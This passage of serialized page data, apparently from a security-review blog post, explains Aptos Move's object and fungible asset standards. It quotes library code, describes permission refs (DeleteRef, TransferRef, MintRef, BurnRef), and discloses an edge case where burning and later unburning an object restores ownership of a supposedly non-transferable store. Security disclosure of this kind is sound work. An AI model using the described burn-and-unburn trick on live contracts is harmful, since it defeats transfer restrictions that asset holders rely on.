",{"type":23,"tag":56,"props":63575,"children":63577},{"className":63576},[],[63578],{"type":28,"value":61055},{"type":28,"value":63580}," true ownership and its non-transferability.",{"type":23,"tag":494,"props":63582,"children":63584},{"className":1957,"code":63583,"language":1956,"meta":7,"style":7},"public fun untransferable_transfer(caller: &signer, receipient: address) {\n    let constructor_ref = object::create_object(signer::address_of(caller));\n    let object_addr = object::address_from_constructor_ref(&constructor_ref);\n    let store = primary_fungible_store::ensure_primary_store_exists(object_addr, get_metadata());\n\n    object::transfer_raw(caller, object_addr, receipient);\n    //receipient can interact with store by using their signer\n}\n",[63585],{"type":23,"tag":56,"props":63586,"children":63587},{"__ignoreMap":7},[63588,63646,63699,63743,63791,63798,63843,63851],{"type":23,"tag":504,"props":63589,"children":63590},{"class":506,"line":507},[63591,63595,63599,63604,63608,63613,63617,63621,63625,63629,63634,63638,63642],{"type":23,"tag":504,"props":63592,"children":63593},{"style":529},[63594],{"type":28,"value":60654},{"type":23,"tag":504,"props":63596,"children":63597},{"style":529},[63598],{"type":28,"value":1051},{"type":23,"tag":504,"props":63600,"children":63601},{"style":517},[63602],{"type":28,"value":63603}," untransferable_transfer",{"type":23,"tag":504,"props":63605,"children":63606},{"style":523},[63607],{"type":28,"value":526},{"type":23,"tag":504,"props":63609,"children":63610},{"style":529},[63611],{"type":28,"value":63612},"caller",{"type":23,"tag":504,"props":63614,"children":63615},{"style":598},[63616],{"type":28,"value":3472},{"type":23,"tag":504,"props":63618,"children":63619},{"style":598},[63620],{"type":28,"value":6125},{"type":23,"tag":504,"props":63622,"children":63623},{"style":529},[63624],{"type":28,"value":6130},{"type":23,"tag":504,"props":63626,"children":63627},{"style":523},[63628],{"type":28,"value":576},{"type":23,"tag":504,"props":63630,"children":63631},{"style":529},[63632],{"type":28,"value":63633},"receipient",{"type":23,"tag":504,"props":63635,"children":63636},{"style":598},[63637],{"type":28,"value":3472},{"type":23,"tag":504,"props":63639,"children":63640},{"style":529},[63641],{"type":28,"value":5233},{"type":23,"tag":504,"props":63643,"children":63644},{"style":523},[63645],{"type":28,"value":537},{"type":23,"tag":504,"props":63647,"children":63648},{"class":506,"line":540},[63649,63653,63658,63662,63666,63670,63675,63679,63683,63687,63691,63695],{"type":23,"tag":504,"props":63650,"children":63651},{"style":511},[63652],{"type":28,"value":1977},{"type":23,"tag":504,"props":63654,"children":63655},{"style":529},[63656],{"type":28,"value":63657}," constructor_ref",{"type":23,"tag":504,"props":63659,"children":63660},{"style":598},[63661],{"type":28,"value":648},{"type":23,"tag":504,"props":63663,"children":63664},{"style":523},[63665],{"type":28,"value":61473},{"type":23,"tag":504,"props":63667,"children":63668},{"style":598},[63669],{"type":28,"value":2457},{"type":23,"tag":504,"props":63671,"children":63672},{"style":517},[63673],{"type":28,"value":63674},"create_object",{"type":23,"tag":504,"props":63676,"children":63677},{"style":523},[63678],{"type":28,"value":6184},{"type":23,"tag":504,"props":63680,"children":63681},{"style":598},[63682],{"type":28,"value":2457},{"type":23,"tag":504,"props":63684,"children":63685},{"style":517},[63686],{"type":28,"value":6193},{"type":23,"tag":504,"props":63688,"children":63689},{"style":523},[63690],{"type":28,"value":526},{"type":23,"tag":504,"props":63692,"children":63693},{"style":529},[63694],{"type":28,"value":63612},{"type":23,"tag":504,"props":63696,"children":63697},{"style":523},[63698],{"type":28,"value":684},{"type":23,"tag":504,"props":63700,"children":63701},{"class":506,"line":555},[63702,63706,63710,63714,63718,63722,63727,63731,63735,63739],{"type":23,"tag":504,"props":63703,"children":63704},{"style":511},[63705],{"type":28,"value":1977},{"type":23,"tag":504,"props":63707,"children":63708},{"style":529},[63709],{"type":28,"value":63060},{"type":23,"tag":504,"props":63711,"children":63712},{"style":598},[63713],{"type":28,"value":648},{"type":23,"tag":504,"props":63715,"children":63716},{"style":523},[63717],{"type":28,"value":61473},{"type":23,"tag":504,"props":63719,"children":63720},{"style":598},[63721],{"type":28,"value":2457},{"type":23,"tag":504,"props":63723,"children":63724},{"style":517},[63725],{"type":28,"value":63726},"address_from_constructor_ref",{"type":23,"tag":504,"props":63728,"children":63729},{"style":523},[63730],{"type":28,"value":526},{"type":23,"tag":504,"props":63732,"children":63733},{"style":598},[63734],{"type":28,"value":2086},{"type":23,"tag":504,"props":63736,"children":63737},{"style":529},[63738],{"type":28,"value":61907},{"type":23,"tag":504,"props":63740,"children":63741},{"style":523},[63742],{"type":28,"value":630},{"type":23,"tag":504,"props":63744,"children":63745},{"class":506,"line":633},[63746,63750,63754,63758,63763,63767,63771,63775,63779,63783,63787],{"type":23,"tag":504,"props":63747,"children":63748},{"style":511},[63749],{"type":28,"value":1977},{"type":23,"tag":504,"props":63751,"children":63752},{"style":529},[63753],{"type":28,"value":4814},{"type":23,"tag":504,"props":63755,"children":63756},{"style":598},[63757],{"type":28,"value":648},{"type":23,"tag":504,"props":63759,"children":63760},{"style":523},[63761],{"type":28,"value":63762}," primary_fungible_store",{"type":23,"tag":504,"props":63764,"children":63765},{"style":598},[63766],{"type":28,"value":2457},{"type":23,"tag":504,"props":63768,"children":63769},{"style":517},[63770],{"type":28,"value":61799},{"type":23,"tag":504,"props":63772,"children":63773},{"style":523},[63774],{"type":28,"value":526},{"type":23,"tag":504,"props":63776,"children":63777},{"style":529},[63778],{"type":28,"value":63106},{"type":23,"tag":504,"props":63780,"children":63781},{"style":523},[63782],{"type":28,"value":576},{"type":23,"tag":504,"props":63784,"children":63785},{"style":517},[63786],{"type":28,"value":61755},{"type":23,"tag":504,"props":63788,"children":63789},{"style":523},[63790],{"type":28,"value":14405},{"type":23,"tag":504,"props":63792,"children":63793},{"class":506,"line":687},[63794],{"type":23,"tag":504,"props":63795,"children":63796},{"emptyLinePlaceholder":16},[63797],{"type":28,"value":1038},{"type":23,"tag":504,"props":63799,"children":63800},{"class":506,"line":736},[63801,63806,63810,63815,63819,63823,63827,63831,63835,63839],{"type":23,"tag":504,"props":63802,"children":63803},{"style":523},[63804],{"type":28,"value":63805},"    object",{"type":23,"tag":504,"props":63807,"children":63808},{"style":598},[63809],{"type":28,"value":2457},{"type":23,"tag":504,"props":63811,"children":63812},{"style":517},[63813],{"type":28,"value":63814},"transfer_raw",{"type":23,"tag":504,"props":63816,"children":63817},{"style":523},[63818],{"type":28,"value":526},{"type":23,"tag":504,"props":63820,"children":63821},{"style":529},[63822],{"type":28,"value":63612},{"type":23,"tag":504,"props":63824,"children":63825},{"style":523},[63826],{"type":28,"value":576},{"type":23,"tag":504,"props":63828,"children":63829},{"style":529},[63830],{"type":28,"value":63106},{"type":23,"tag":504,"props":63832,"children":63833},{"style":523},[63834],{"type":28,"value":576},{"type":23,"tag":504,"props":63836,"children":63837},{"style":529},[63838],{"type":28,"value":63633},{"type":23,"tag":504,"props":63840,"children":63841},{"style":523},[63842],{"type":28,"value":630},{"type":23,"tag":504,"props":63844,"children":63845},{"class":506,"line":785},[63846],{"type":23,"tag":504,"props":63847,"children":63848},{"style":1106},[63849],{"type":28,"value":63850},"    //receipient can interact with store by using their signer\n",{"type":23,"tag":504,"props":63852,"children":63853},{"class":506,"line":813},[63854],{"type":23,"tag":504,"props":63855,"children":63856},{"style":523},[63857],{"type":28,"value":884},{"type":23,"tag":24,"props":63859,"children":63860},{},[63861,63863,63870],{"type":28,"value":63862},"The ownership transfer issue also showed up during our review of the fungible asset standard, where we identified an interesting ",{"type":23,"tag":92,"props":63864,"children":63867},{"href":63865,"rel":63866},"https://github.com/aptos-labs/aptos-core/commit/e8c5e4bd03930d25f0dbec9529680fac36eb2fa6",[96],[63868],{"type":28,"value":63869},"edge case",{"type":28,"value":63871}," involving the transfer of a non-transferable fungible store.",{"type":23,"tag":494,"props":63873,"children":63875},{"className":1957,"code":63874,"language":1956,"meta":7,"style":7},"public fun transfer_with_ref(ref: LinearTransferRef, to: address) acquires ObjectCore {\n    assert!(!exists\u003CUntransferable>(ref.self), error::permission_denied(ENOT_MOVABLE));\n    let object = borrow_global_mut\u003CObjectCore>(ref.self);\n    assert!(\n        object.owner == ref.owner,\n        error::permission_denied(ENOT_OBJECT_OWNER),\n    );\n    \n    [...]\n    \n    object.owner = to;\n}\n",[63876],{"type":23,"tag":56,"props":63877,"children":63878},{"__ignoreMap":7},[63879,63944,64005,64052,64063,64098,64118,64125,64132,64147,64154,64182],{"type":23,"tag":504,"props":63880,"children":63881},{"class":506,"line":507},[63882,63886,63890,63895,63899,63903,63907,63912,63916,63920,63924,63928,63932,63936,63940],{"type":23,"tag":504,"props":63883,"children":63884},{"style":529},[63885],{"type":28,"value":60654},{"type":23,"tag":504,"props":63887,"children":63888},{"style":529},[63889],{"type":28,"value":1051},{"type":23,"tag":504,"props":63891,"children":63892},{"style":517},[63893],{"type":28,"value":63894}," transfer_with_ref",{"type":23,"tag":504,"props":63896,"children":63897},{"style":523},[63898],{"type":28,"value":526},{"type":23,"tag":504,"props":63900,"children":63901},{"style":511},[63902],{"type":28,"value":62316},{"type":23,"tag":504,"props":63904,"children":63905},{"style":598},[63906],{"type":28,"value":3472},{"type":23,"tag":504,"props":63908,"children":63909},{"style":1012},[63910],{"type":28,"value":63911}," LinearTransferRef",{"type":23,"tag":504,"props":63913,"children":63914},{"style":523},[63915],{"type":28,"value":576},{"type":23,"tag":504,"props":63917,"children":63918},{"style":529},[63919],{"type":28,"value":31705},{"type":23,"tag":504,"props":63921,"children":63922},{"style":598},[63923],{"type":28,"value":3472},{"type":23,"tag":504,"props":63925,"children":63926},{"style":529},[63927],{"type":28,"value":5233},{"type":23,"tag":504,"props":63929,"children":63930},{"style":523},[63931],{"type":28,"value":2064},{"type":23,"tag":504,"props":63933,"children":63934},{"style":529},[63935],{"type":28,"value":5327},{"type":23,"tag":504,"props":63937,"children":63938},{"style":1012},[63939],{"type":28,"value":62953},{"type":23,"tag":504,"props":63941,"children":63942},{"style":523},[63943],{"type":28,"value":552},{"type":23,"tag":504,"props":63945,"children":63946},{"class":506,"line":540},[63947,63951,63955,63959,63963,63967,63972,63976,63980,63984,63988,63992,63996,64000],{"type":23,"tag":504,"props":63948,"children":63949},{"style":517},[63950],{"type":28,"value":61323},{"type":23,"tag":504,"props":63952,"children":63953},{"style":523},[63954],{"type":28,"value":526},{"type":23,"tag":504,"props":63956,"children":63957},{"style":598},[63958],{"type":28,"value":19603},{"type":23,"tag":504,"props":63960,"children":63961},{"style":529},[63962],{"type":28,"value":5688},{"type":23,"tag":504,"props":63964,"children":63965},{"style":523},[63966],{"type":28,"value":4789},{"type":23,"tag":504,"props":63968,"children":63969},{"style":1012},[63970],{"type":28,"value":63971},"Untransferable",{"type":23,"tag":504,"props":63973,"children":63974},{"style":523},[63975],{"type":28,"value":6594},{"type":23,"tag":504,"props":63977,"children":63978},{"style":511},[63979],{"type":28,"value":62316},{"type":23,"tag":504,"props":63981,"children":63982},{"style":598},[63983],{"type":28,"value":320},{"type":23,"tag":504,"props":63985,"children":63986},{"style":511},[63987],{"type":28,"value":12694},{"type":23,"tag":504,"props":63989,"children":63990},{"style":523},[63991],{"type":28,"value":61912},{"type":23,"tag":504,"props":63993,"children":63994},{"style":598},[63995],{"type":28,"value":2457},{"type":23,"tag":504,"props":63997,"children":63998},{"style":517},[63999],{"type":28,"value":62798},{"type":23,"tag":504,"props":64001,"children":64002},{"style":523},[64003],{"type":28,"value":64004},"(ENOT_MOVABLE));\n",{"type":23,"tag":504,"props":64006,"children":64007},{"class":506,"line":555},[64008,64012,64016,64020,64024,64028,64032,64036,64040,64044,64048],{"type":23,"tag":504,"props":64009,"children":64010},{"style":511},[64011],{"type":28,"value":1977},{"type":23,"tag":504,"props":64013,"children":64014},{"style":529},[64015],{"type":28,"value":61473},{"type":23,"tag":504,"props":64017,"children":64018},{"style":598},[64019],{"type":28,"value":648},{"type":23,"tag":504,"props":64021,"children":64022},{"style":529},[64023],{"type":28,"value":6580},{"type":23,"tag":504,"props":64025,"children":64026},{"style":523},[64027],{"type":28,"value":4789},{"type":23,"tag":504,"props":64029,"children":64030},{"style":1012},[64031],{"type":28,"value":63448},{"type":23,"tag":504,"props":64033,"children":64034},{"style":523},[64035],{"type":28,"value":6594},{"type":23,"tag":504,"props":64037,"children":64038},{"style":511},[64039],{"type":28,"value":62316},{"type":23,"tag":504,"props":64041,"children":64042},{"style":598},[64043],{"type":28,"value":320},{"type":23,"tag":504,"props":64045,"children":64046},{"style":511},[64047],{"type":28,"value":12694},{"type":23,"tag":504,"props":64049,"children":64050},{"style":523},[64051],{"type":28,"value":630},{"type":23,"tag":504,"props":64053,"children":64054},{"class":506,"line":633},[64055,64059],{"type":23,"tag":504,"props":64056,"children":64057},{"style":517},[64058],{"type":28,"value":61323},{"type":23,"tag":504,"props":64060,"children":64061},{"style":523},[64062],{"type":28,"value":2439},{"type":23,"tag":504,"props":64064,"children":64065},{"class":506,"line":687},[64066,64071,64075,64080,64084,64089,64093],{"type":23,"tag":504,"props":64067,"children":64068},{"style":529},[64069],{"type":28,"value":64070},"        object",{"type":23,"tag":504,"props":64072,"children":64073},{"style":598},[64074],{"type":28,"value":320},{"type":23,"tag":504,"props":64076,"children":64077},{"style":523},[64078],{"type":28,"value":64079},"owner ",{"type":23,"tag":504,"props":64081,"children":64082},{"style":598},[64083],{"type":28,"value":7559},{"type":23,"tag":504,"props":64085,"children":64086},{"style":511},[64087],{"type":28,"value":64088}," ref",{"type":23,"tag":504,"props":64090,"children":64091},{"style":598},[64092],{"type":28,"value":320},{"type":23,"tag":504,"props":64094,"children":64095},{"style":523},[64096],{"type":28,"value":64097},"owner,\n",{"type":23,"tag":504,"props":64099,"children":64100},{"class":506,"line":736},[64101,64106,64110,64114],{"type":23,"tag":504,"props":64102,"children":64103},{"style":523},[64104],{"type":28,"value":64105},"        error",{"type":23,"tag":504,"props":64107,"children":64108},{"style":598},[64109],{"type":28,"value":2457},{"type":23,"tag":504,"props":64111,"children":64112},{"style":517},[64113],{"type":28,"value":62798},{"type":23,"tag":504,"props":64115,"children":64116},{"style":523},[64117],{"type":28,"value":63482},{"type":23,"tag":504,"props":64119,"children":64120},{"class":506,"line":785},[64121],{"type":23,"tag":504,"props":64122,"children":64123},{"style":523},[64124],{"type":28,"value":42633},{"type":23,"tag":504,"props":64126,"children":64127},{"class":506,"line":813},[64128],{"type":23,"tag":504,"props":64129,"children":64130},{"style":523},[64131],{"type":28,"value":60765},{"type":23,"tag":504,"props":64133,"children":64134},{"class":506,"line":851},[64135,64139,64143],{"type":23,"tag":504,"props":64136,"children":64137},{"style":523},[64138],{"type":28,"value":61697},{"type":23,"tag":504,"props":64140,"children":64141},{"style":598},[64142],{"type":28,"value":8572},{"type":23,"tag":504,"props":64144,"children":64145},{"style":523},[64146],{"type":28,"value":10754},{"type":23,"tag":504,"props":64148,"children":64149},{"class":506,"line":869},[64150],{"type":23,"tag":504,"props":64151,"children":64152},{"style":523},[64153],{"type":28,"value":60765},{"type":23,"tag":504,"props":64155,"children":64156},{"class":506,"line":878},[64157,64161,64165,64169,64173,64178],{"type":23,"tag":504,"props":64158,"children":64159},{"style":529},[64160],{"type":28,"value":63805},{"type":23,"tag":504,"props":64162,"children":64163},{"style":598},[64164],{"type":28,"value":320},{"type":23,"tag":504,"props":64166,"children":64167},{"style":523},[64168],{"type":28,"value":64079},{"type":23,"tag":504,"props":64170,"children":64171},{"style":598},[64172],{"type":28,"value":601},{"type":23,"tag":504,"props":64174,"children":64175},{"style":529},[64176],{"type":28,"value":64177}," to",{"type":23,"tag":504,"props":64179,"children":64180},{"style":523},[64181],{"type":28,"value":866},{"type":23,"tag":504,"props":64183,"children":64184},{"class":506,"line":1221},[64185],{"type":23,"tag":504,"props":64186,"children":64187},{"style":523},[64188],{"type":28,"value":884},{"type":23,"tag":24,"props":64190,"children":64191},{},[64192,64194,64199,64201,64206],{"type":28,"value":64193},"A user could exploit this by creating an object and a transfer permission, burning the object (changing its ownership to the ",{"type":23,"tag":56,"props":64195,"children":64197},{"className":64196},[],[64198],{"type":28,"value":62851},{"type":28,"value":64200},"), transferring it to another user, and then registering a non-transferable fungible store with that object. While the store could no longer be moved using the owner's ",{"type":23,"tag":56,"props":64202,"children":64204},{"className":64203},[],[64205],{"type":28,"value":6130},{"type":28,"value":64207}," or the transfer permission due to non-transferable restrictions, it could be unburned to restore the original ownership!",{"type":23,"tag":82,"props":64209,"children":64211},{"id":64210},"references",[64212],{"type":28,"value":64213},"References",{"type":23,"tag":24,"props":64215,"children":64216},{},[64217,64222,64224,64230,64232,64237,64239,64244],{"type":23,"tag":56,"props":64218,"children":64220},{"className":64219},[],[64221],{"type":28,"value":64213},{"type":28,"value":64223}," are a permission type resource that authenticate a caller for security-critical operations. ",{"type":23,"tag":56,"props":64225,"children":64227},{"className":64226},[],[64228],{"type":28,"value":64229},"Refs",{"type":28,"value":64231}," are based on the ",{"type":23,"tag":56,"props":64233,"children":64235},{"className":64234},[],[64236],{"type":28,"value":47830},{"type":28,"value":64238}," model, but they are also adapted by fungible assets. Some of these are defined by the ",{"type":23,"tag":56,"props":64240,"children":64242},{"className":64241},[],[64243],{"type":28,"value":47830},{"type":28,"value":64245}," itself, while others are created through the fungible asset module. What's more, some are shared between them, while others appear shared but aren’t.",{"type":23,"tag":24,"props":64247,"children":64248},{},[64249,64251,64256,64258,64263,64264,64270,64272,64277,64279,64284],{"type":28,"value":64250},"Let's get back to the ",{"type":23,"tag":56,"props":64252,"children":64254},{"className":64253},[],[64255],{"type":28,"value":61055},{"type":28,"value":64257}," deletion example. Both ",{"type":23,"tag":56,"props":64259,"children":64261},{"className":64260},[],[64262],{"type":28,"value":62340},{"type":28,"value":430},{"type":23,"tag":56,"props":64265,"children":64267},{"className":64266},[],[64268],{"type":28,"value":64269},"fungible_asset::remove_store",{"type":28,"value":64271}," use the same object-specific ",{"type":23,"tag":56,"props":64273,"children":64275},{"className":64274},[],[64276],{"type":28,"value":62272},{"type":28,"value":64278}," permission. It can be created only during object creation. There is no separate ",{"type":23,"tag":56,"props":64280,"children":64282},{"className":64281},[],[64283],{"type":28,"value":62272},{"type":28,"value":64285}," for fungible assets.",{"type":23,"tag":494,"props":64287,"children":64288},{"className":1957,"code":62222,"language":1956,"meta":7,"style":7},[64289],{"type":23,"tag":56,"props":64290,"children":64291},{"__ignoreMap":7},[64292,64299,64338,64345,64352],{"type":23,"tag":504,"props":64293,"children":64294},{"class":506,"line":507},[64295],{"type":23,"tag":504,"props":64296,"children":64297},{"style":1106},[64298],{"type":28,"value":62234},{"type":23,"tag":504,"props":64300,"children":64301},{"class":506,"line":540},[64302,64306,64310,64314,64318,64322,64326,64330,64334],{"type":23,"tag":504,"props":64303,"children":64304},{"style":529},[64305],{"type":28,"value":60654},{"type":23,"tag":504,"props":64307,"children":64308},{"style":529},[64309],{"type":28,"value":1051},{"type":23,"tag":504,"props":64311,"children":64312},{"style":517},[64313],{"type":28,"value":62250},{"type":23,"tag":504,"props":64315,"children":64316},{"style":523},[64317],{"type":28,"value":526},{"type":23,"tag":504,"props":64319,"children":64320},{"style":529},[64321],{"type":28,"value":62259},{"type":23,"tag":504,"props":64323,"children":64324},{"style":598},[64325],{"type":28,"value":3472},{"type":23,"tag":504,"props":64327,"children":64328},{"style":598},[64329],{"type":28,"value":6125},{"type":23,"tag":504,"props":64331,"children":64332},{"style":1012},[64333],{"type":28,"value":62272},{"type":23,"tag":504,"props":64335,"children":64336},{"style":523},[64337],{"type":28,"value":1192},{"type":23,"tag":504,"props":64339,"children":64340},{"class":506,"line":555},[64341],{"type":23,"tag":504,"props":64342,"children":64343},{"emptyLinePlaceholder":16},[64344],{"type":28,"value":1038},{"type":23,"tag":504,"props":64346,"children":64347},{"class":506,"line":633},[64348],{"type":23,"tag":504,"props":64349,"children":64350},{"style":1106},[64351],{"type":28,"value":62291},{"type":23,"tag":504,"props":64353,"children":64354},{"class":506,"line":687},[64355,64359,64363,64367,64371,64375,64379,64383],{"type":23,"tag":504,"props":64356,"children":64357},{"style":529},[64358],{"type":28,"value":60654},{"type":23,"tag":504,"props":64360,"children":64361},{"style":529},[64362],{"type":28,"value":1051},{"type":23,"tag":504,"props":64364,"children":64365},{"style":517},[64366],{"type":28,"value":62307},{"type":23,"tag":504,"props":64368,"children":64369},{"style":523},[64370],{"type":28,"value":526},{"type":23,"tag":504,"props":64372,"children":64373},{"style":511},[64374],{"type":28,"value":62316},{"type":23,"tag":504,"props":64376,"children":64377},{"style":598},[64378],{"type":28,"value":3472},{"type":23,"tag":504,"props":64380,"children":64381},{"style":1012},[64382],{"type":28,"value":62325},{"type":23,"tag":504,"props":64384,"children":64385},{"style":523},[64386],{"type":28,"value":1192},{"type":23,"tag":24,"props":64388,"children":64389},{},[64390,64392,64397,64399,64405],{"type":28,"value":64391},"On the other hand, the \"frozen\" status of a ",{"type":23,"tag":56,"props":64393,"children":64395},{"className":64394},[],[64396],{"type":28,"value":61055},{"type":28,"value":64398}," is toggled using a ",{"type":23,"tag":56,"props":64400,"children":64402},{"className":64401},[],[64403],{"type":28,"value":64404},"TransferRef",{"type":28,"value":64406},", which is defined in both models (and not interchangeable). They also can be created only during object creation.",{"type":23,"tag":494,"props":64408,"children":64410},{"className":1957,"code":64409,"language":1956,"meta":7,"style":7},"public fun set_frozen_flag\u003CT: key>(\n    ref: &TransferRef,\n    store: Object\u003CT>,\n    frozen: bool,\n)\n",[64411],{"type":23,"tag":56,"props":64412,"children":64413},{"__ignoreMap":7},[64414,64450,64474,64501,64520],{"type":23,"tag":504,"props":64415,"children":64416},{"class":506,"line":507},[64417,64421,64425,64430,64434,64438,64442,64446],{"type":23,"tag":504,"props":64418,"children":64419},{"style":529},[64420],{"type":28,"value":60654},{"type":23,"tag":504,"props":64422,"children":64423},{"style":529},[64424],{"type":28,"value":1051},{"type":23,"tag":504,"props":64426,"children":64427},{"style":529},[64428],{"type":28,"value":64429}," set_frozen_flag",{"type":23,"tag":504,"props":64431,"children":64432},{"style":523},[64433],{"type":28,"value":4789},{"type":23,"tag":504,"props":64435,"children":64436},{"style":1012},[64437],{"type":28,"value":4971},{"type":23,"tag":504,"props":64439,"children":64440},{"style":598},[64441],{"type":28,"value":3472},{"type":23,"tag":504,"props":64443,"children":64444},{"style":529},[64445],{"type":28,"value":4915},{"type":23,"tag":504,"props":64447,"children":64448},{"style":523},[64449],{"type":28,"value":5572},{"type":23,"tag":504,"props":64451,"children":64452},{"class":506,"line":540},[64453,64458,64462,64466,64470],{"type":23,"tag":504,"props":64454,"children":64455},{"style":511},[64456],{"type":28,"value":64457},"    ref",{"type":23,"tag":504,"props":64459,"children":64460},{"style":598},[64461],{"type":28,"value":3472},{"type":23,"tag":504,"props":64463,"children":64464},{"style":598},[64465],{"type":28,"value":6125},{"type":23,"tag":504,"props":64467,"children":64468},{"style":1012},[64469],{"type":28,"value":64404},{"type":23,"tag":504,"props":64471,"children":64472},{"style":523},[64473],{"type":28,"value":2484},{"type":23,"tag":504,"props":64475,"children":64476},{"class":506,"line":555},[64477,64481,64485,64489,64493,64497],{"type":23,"tag":504,"props":64478,"children":64479},{"style":529},[64480],{"type":28,"value":28395},{"type":23,"tag":504,"props":64482,"children":64483},{"style":598},[64484],{"type":28,"value":3472},{"type":23,"tag":504,"props":64486,"children":64487},{"style":1012},[64488],{"type":28,"value":60540},{"type":23,"tag":504,"props":64490,"children":64491},{"style":523},[64492],{"type":28,"value":4789},{"type":23,"tag":504,"props":64494,"children":64495},{"style":1012},[64496],{"type":28,"value":4971},{"type":23,"tag":504,"props":64498,"children":64499},{"style":523},[64500],{"type":28,"value":5122},{"type":23,"tag":504,"props":64502,"children":64503},{"class":506,"line":633},[64504,64508,64512,64516],{"type":23,"tag":504,"props":64505,"children":64506},{"style":529},[64507],{"type":28,"value":60192},{"type":23,"tag":504,"props":64509,"children":64510},{"style":598},[64511],{"type":28,"value":3472},{"type":23,"tag":504,"props":64513,"children":64514},{"style":1012},[64515],{"type":28,"value":11032},{"type":23,"tag":504,"props":64517,"children":64518},{"style":523},[64519],{"type":28,"value":2484},{"type":23,"tag":504,"props":64521,"children":64522},{"class":506,"line":687},[64523],{"type":23,"tag":504,"props":64524,"children":64525},{"style":523},[64526],{"type":28,"value":1192},{"type":23,"tag":24,"props":64528,"children":64529},{},[64530,64531,64536,64537,64542],{"type":28,"value":15592},{"type":23,"tag":56,"props":64532,"children":64534},{"className":64533},[],[64535],{"type":28,"value":47830},{"type":28,"value":5441},{"type":23,"tag":56,"props":64538,"children":64540},{"className":64539},[],[64541],{"type":28,"value":64404},{"type":28,"value":64543}," is used to transfer object ownership:",{"type":23,"tag":494,"props":64545,"children":64547},{"className":1957,"code":64546,"language":1956,"meta":7,"style":7},"/// Used to create LinearTransferRef, hence ownership transfer.\nstruct TransferRef has drop, store {\n    self: address,\n}\n",[64548],{"type":23,"tag":56,"props":64549,"children":64550},{"__ignoreMap":7},[64551,64559,64592,64611],{"type":23,"tag":504,"props":64552,"children":64553},{"class":506,"line":507},[64554],{"type":23,"tag":504,"props":64555,"children":64556},{"style":1106},[64557],{"type":28,"value":64558},"/// Used to create LinearTransferRef, hence ownership transfer.\n",{"type":23,"tag":504,"props":64560,"children":64561},{"class":506,"line":540},[64562,64566,64571,64575,64580,64584,64588],{"type":23,"tag":504,"props":64563,"children":64564},{"style":511},[64565],{"type":28,"value":8383},{"type":23,"tag":504,"props":64567,"children":64568},{"style":1012},[64569],{"type":28,"value":64570}," TransferRef",{"type":23,"tag":504,"props":64572,"children":64573},{"style":529},[64574],{"type":28,"value":8392},{"type":23,"tag":504,"props":64576,"children":64577},{"style":529},[64578],{"type":28,"value":64579}," drop",{"type":23,"tag":504,"props":64581,"children":64582},{"style":523},[64583],{"type":28,"value":576},{"type":23,"tag":504,"props":64585,"children":64586},{"style":529},[64587],{"type":28,"value":4924},{"type":23,"tag":504,"props":64589,"children":64590},{"style":523},[64591],{"type":28,"value":552},{"type":23,"tag":504,"props":64593,"children":64594},{"class":506,"line":555},[64595,64599,64603,64607],{"type":23,"tag":504,"props":64596,"children":64597},{"style":511},[64598],{"type":28,"value":19767},{"type":23,"tag":504,"props":64600,"children":64601},{"style":598},[64602],{"type":28,"value":3472},{"type":23,"tag":504,"props":64604,"children":64605},{"style":529},[64606],{"type":28,"value":5233},{"type":23,"tag":504,"props":64608,"children":64609},{"style":523},[64610],{"type":28,"value":2484},{"type":23,"tag":504,"props":64612,"children":64613},{"class":506,"line":633},[64614],{"type":23,"tag":504,"props":64615,"children":64616},{"style":523},[64617],{"type":28,"value":884},{"type":23,"tag":24,"props":64619,"children":64620},{},[64621,64623,64628],{"type":28,"value":64622},"While the fungible asset's ",{"type":23,"tag":56,"props":64624,"children":64626},{"className":64625},[],[64627],{"type":28,"value":64404},{"type":28,"value":64629}," manages the transfer of fungible assets and the (un)freezing of fungible stores:",{"type":23,"tag":494,"props":64631,"children":64633},{"className":1957,"code":64632,"language":1956,"meta":7,"style":7},"/// TransferRef can be used to allow or disallow the owner of fungible assets from transferring the asset\n/// and allow the holder of TransferRef to transfer fungible assets from any account.\nstruct TransferRef has drop, store {\n    metadata: Object\u003CMetadata>\n}\n",[64634],{"type":23,"tag":56,"props":64635,"children":64636},{"__ignoreMap":7},[64637,64645,64653,64684,64711],{"type":23,"tag":504,"props":64638,"children":64639},{"class":506,"line":507},[64640],{"type":23,"tag":504,"props":64641,"children":64642},{"style":1106},[64643],{"type":28,"value":64644},"/// TransferRef can be used to allow or disallow the owner of fungible assets from transferring the asset\n",{"type":23,"tag":504,"props":64646,"children":64647},{"class":506,"line":540},[64648],{"type":23,"tag":504,"props":64649,"children":64650},{"style":1106},[64651],{"type":28,"value":64652},"/// and allow the holder of TransferRef to transfer fungible assets from any account.\n",{"type":23,"tag":504,"props":64654,"children":64655},{"class":506,"line":555},[64656,64660,64664,64668,64672,64676,64680],{"type":23,"tag":504,"props":64657,"children":64658},{"style":511},[64659],{"type":28,"value":8383},{"type":23,"tag":504,"props":64661,"children":64662},{"style":1012},[64663],{"type":28,"value":64570},{"type":23,"tag":504,"props":64665,"children":64666},{"style":529},[64667],{"type":28,"value":8392},{"type":23,"tag":504,"props":64669,"children":64670},{"style":529},[64671],{"type":28,"value":64579},{"type":23,"tag":504,"props":64673,"children":64674},{"style":523},[64675],{"type":28,"value":576},{"type":23,"tag":504,"props":64677,"children":64678},{"style":529},[64679],{"type":28,"value":4924},{"type":23,"tag":504,"props":64681,"children":64682},{"style":523},[64683],{"type":28,"value":552},{"type":23,"tag":504,"props":64685,"children":64686},{"class":506,"line":633},[64687,64691,64695,64699,64703,64707],{"type":23,"tag":504,"props":64688,"children":64689},{"style":529},[64690],{"type":28,"value":60531},{"type":23,"tag":504,"props":64692,"children":64693},{"style":598},[64694],{"type":28,"value":3472},{"type":23,"tag":504,"props":64696,"children":64697},{"style":1012},[64698],{"type":28,"value":60540},{"type":23,"tag":504,"props":64700,"children":64701},{"style":523},[64702],{"type":28,"value":4789},{"type":23,"tag":504,"props":64704,"children":64705},{"style":1012},[64706],{"type":28,"value":60549},{"type":23,"tag":504,"props":64708,"children":64709},{"style":523},[64710],{"type":28,"value":4976},{"type":23,"tag":504,"props":64712,"children":64713},{"class":506,"line":687},[64714],{"type":23,"tag":504,"props":64715,"children":64716},{"style":523},[64717],{"type":28,"value":884},{"type":23,"tag":24,"props":64719,"children":64720},{},[64721,64723,64729,64731,64737],{"type":28,"value":64722},"Additionally, there are fungible asset-specific references such as ",{"type":23,"tag":56,"props":64724,"children":64726},{"className":64725},[],[64727],{"type":28,"value":64728},"MintRef",{"type":28,"value":64730}," for minting and ",{"type":23,"tag":56,"props":64732,"children":64734},{"className":64733},[],[64735],{"type":28,"value":64736},"BurnRef",{"type":28,"value":64738}," for burning. These references are used exclusively by the fungible asset model, but they still must be created when the fungible asset object is 